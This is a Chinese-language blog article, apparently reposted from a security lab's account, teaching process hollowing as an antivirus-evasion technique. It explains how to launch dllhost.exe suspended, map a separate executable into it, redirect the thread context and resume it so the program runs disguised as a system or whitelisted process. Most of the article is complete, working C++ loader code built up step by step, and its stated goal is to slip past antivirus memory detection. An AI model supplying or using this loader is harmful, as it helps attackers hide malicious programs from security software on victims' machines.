1前言
目前的免殺技術(shù),常規(guī)的進(jìn)程執(zhí)行很容易被受攻擊方發(fā)現(xiàn),為了盡可能的隱藏自己,在不利用驅(qū)動或者漏洞的情況下我們有用到的技術(shù)很少,這次我們就來講一種可以在3環(huán)達(dá)到進(jìn)程隱藏的方法,進(jìn)程鏤空(傀儡進(jìn)程)。
這種技術(shù)雖然很久之前就有了,但是和其他的免殺技術(shù)相結(jié)合會達(dá)到很不錯的效果。
這種技術(shù)的好處是可以將我們想執(zhí)行的程序偽裝成系統(tǒng)進(jìn)程或者有簽名無檢測的白名單進(jìn)程,從而繞過殺軟的內(nèi)存檢測。
2實(shí)現(xiàn)思路
如何去實(shí)現(xiàn)這個傀儡進(jìn)程,我們就要知道進(jìn)程創(chuàng)建后的步驟是在干什么,進(jìn)程創(chuàng)建后會在內(nèi)存空間進(jìn)行拉伸PE,那么這一步就是我們達(dá)到偽裝的關(guān)鍵一步。如果我們將這一步拉伸的PE修改成我們自己的PE是不是拉伸的就是我們自己的程序,從而執(zhí)行我們自己的程序。
3執(zhí)行流程
創(chuàng)建一個掛起的進(jìn)程
這里如果不是掛起狀態(tài),程序就執(zhí)行起來了,那么我們就沒有足夠的時(shí)間去替換他要執(zhí)行的PE了。
獲取線程上下文
這里獲取上下文的主要目的是作用于修改寄存器,在我們后續(xù)的操作后要去修改。
替換PE信息
將我們上面的實(shí)現(xiàn)思路里最重要的一步在掛起進(jìn)程后去執(zhí)行,這樣進(jìn)程還沒執(zhí)行完成我們可以完成替換。
修改線程上下文
修改寄存器讓執(zhí)行的內(nèi)存發(fā)生改變,修改到我們替換的PE信息。讓程序自身的去解析我們替換的PE結(jié)構(gòu)。
恢復(fù)線程
恢復(fù)線程,讓程序執(zhí)行起來,完成我們的因此。
4實(shí)操順序
寫一個自己的程序 Demo.exe
#includeintmain(void) { MessageBoxA(nullptr, "我是一個demo程序", "信息:", MB_OK); return0; }
這就是一個很簡單的程序,我們來編譯執(zhí)行一下。
可以明顯的看到這里有我們執(zhí)行的程序進(jìn)程信息,這樣我們就很容易被發(fā)現(xiàn)。那么下面我就就要去看怎么去隱藏掉這個進(jìn)程了。步驟會很多我會分步驟去寫,讓大家可以跟著步驟去完成這一效果。
加載器實(shí)現(xiàn)流程
創(chuàng)建進(jìn)程
創(chuàng)建一個系統(tǒng)進(jìn)程或者白名單進(jìn)程再或者你想要讓你的進(jìn)程偽裝的進(jìn)程,這里我們以32位進(jìn)程去演示,我們?nèi):WindowsSysWOW64這個目錄下隨便去找一個進(jìn)程即可,這里我就選擇dllhost.exe
這里我們在創(chuàng)建個項(xiàng)目去寫另外的代碼,demo程序就不要去改動了。
load 右鍵屬性 -> 配置屬性 -> 鏈接器 -> 系統(tǒng) -> 子系統(tǒng) 改為窗口 不然后面會報(bào)0xC0000142錯誤 (這里可以寫完所有的代碼再去操作 窗口程序不利于我們?nèi)ポ敵鲂畔?
#include#include //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
這里我們就已經(jīng)以掛起的方式去創(chuàng)建了一個進(jìn)程,怎么樣去看我們的進(jìn)程是否為掛起呢?我們?nèi)蝿?wù)管理器可以看到。
讀取我們需要真正執(zhí)行的exe
#include#include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
可以看出來我們需要執(zhí)行的exe已經(jīng)被我們加載到我們內(nèi)存當(dāng)中。
替換PE
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質(zhì) ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認(rèn)基質(zhì)下申請內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節(jié)表 寫入節(jié)表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) TerminateProcess(pi.hProcess, -1); std::cout<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
GetThreadContext是什么意思呢?獲取線程上下文,我們這時(shí)候用調(diào)試器附加一下dllhost看下我們獲取的是什么東西。主要獲取的就是目前的寄存器的值。后續(xù)我們需要讀寫這個值,從而達(dá)到執(zhí)行我們自己的PE信息。
開始替換PE頭 我們可以注意一下寫入了什么。
這里是替換節(jié)區(qū)。
走到這里就說明我們的PE已經(jīng)被完全替換了,那么我們需要給他替換一下寄存器才能讓他執(zhí)行起來。
設(shè)置線程上下文,恢復(fù)線程
ebx+8的位置本身存放的是原來默認(rèn)的PE,我們這里給他替換成我們申請內(nèi)存的PE,然后恢復(fù)線程基本就完成了我們的隱藏。
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質(zhì) ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認(rèn)基質(zhì)下申請內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節(jié)表 寫入節(jié)表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 修改寄存器 ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL); SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); WaitForSingleObject(pi.hProcess, -1); std::cout<< "進(jìn)程隱藏執(zhí)行完成"?<< std::endl; ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??// TerminateProcess(pi.hProcess, -1); ??// std::cout << "process exit!!!!!!!" << std::endl; ??// std::cin.get(); ??return?0; }
修復(fù)執(zhí)行錯誤
這里我們可以看到提示了錯誤框,我們修改下子系統(tǒng)。
intCALLBACKWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, intnCmdShow ) 子系統(tǒng)改為窗口后 main函數(shù)需要改成WinMain
完畢
可以看到我們進(jìn)程運(yùn)行起來了,那么我們看看這個進(jìn)程是什么。
從線程里面可以看出,我們是從這個dllhost里面去執(zhí)行的我們的程序,那么我們看下是不是找不到我們原來的進(jìn)程了。
可以看到這里已經(jīng)確定沒有demo.exe,至此我們的隱藏進(jìn)程實(shí)現(xiàn)完成。
5總結(jié)
隱藏的時(shí)候需要提前找到一個載體。
我們目前通過的是讀取文件獲取我們demo的exe,可以提前獲取好,放到我們的內(nèi)存中,這樣更隱蔽。
需要注意main函數(shù)和winmain,main函數(shù)會報(bào)錯
-
內(nèi)存
+關(guān)注
關(guān)注
8文章
3055瀏覽量
74331 -
程序
+關(guān)注
關(guān)注
117文章
3795瀏覽量
81411
原文標(biāo)題:免殺技術(shù)進(jìn)程隱藏
文章出處:【微信號:蛇矛實(shí)驗(yàn)室,微信公眾號:蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
進(jìn)程執(zhí)法官
ekrn.exe進(jìn)程是什么意思,如何解決ekrn.exe進(jìn)程占空間的問題
迅雷7.2.7.3496下載(迅雷7增強(qiáng)版VIP離線免等待V2) v7.2.7.3496綠...
聯(lián)通免流量軟件有哪些?聯(lián)通免流量軟件?
國際聯(lián)網(wǎng)展現(xiàn)黑科技-雷霆技術(shù)攜三免技術(shù)參展
特洛伊木馬隱藏技術(shù)研究
木馬/后門程序在WINNT中進(jìn)程隱藏和查找的方法
基于硬件輔助虛擬化技術(shù)的交叉視圖進(jìn)程檢測
![基于硬件輔助虛擬化<b class='flag-5'>技術(shù)</b>的交叉視圖<b class='flag-5'>進(jìn)程</b>檢測](https://file.elecfans.com/web2/M00/49/4B/pYYBAGKhtESAZ9v-AAAP_4sRDTQ208.jpg)
密文域可逆信息隱藏技術(shù)發(fā)展
![密文域可逆信息<b class='flag-5'>隱藏</b><b class='flag-5'>技術(shù)</b>發(fā)展](https://file.elecfans.com/web2/M00/49/79/poYBAGKhwLqAchXNAAAQOjdJgJw588.jpg)
如何安裝 unhide 并搜索隱藏的進(jìn)程和 TCP/UDP 端口
一行代碼教你如何隱藏Linux進(jìn)程
![一行代碼教你如何<b class='flag-5'>隱藏</b>Linux<b class='flag-5'>進(jìn)程</b>](https://file.elecfans.com/web1/M00/C6/FF/pIYBAF9gaW6AH9ojAABEpseIhY0072.png)
免殺技術(shù)與殺軟技術(shù)的區(qū)別
什么是白加黑技術(shù) 免殺技術(shù)之白加黑攻擊防御技術(shù)分析
![什么是白加黑<b class='flag-5'>技術(shù)</b> <b class='flag-5'>免</b><b class='flag-5'>殺</b><b class='flag-5'>技術(shù)</b>之白加黑攻擊防御<b class='flag-5'>技術(shù)</b>分析](https://file1.elecfans.com/web2/M00/8D/91/wKgZomS95TCAFtSdAAAlzhYhC1A875.png)
評論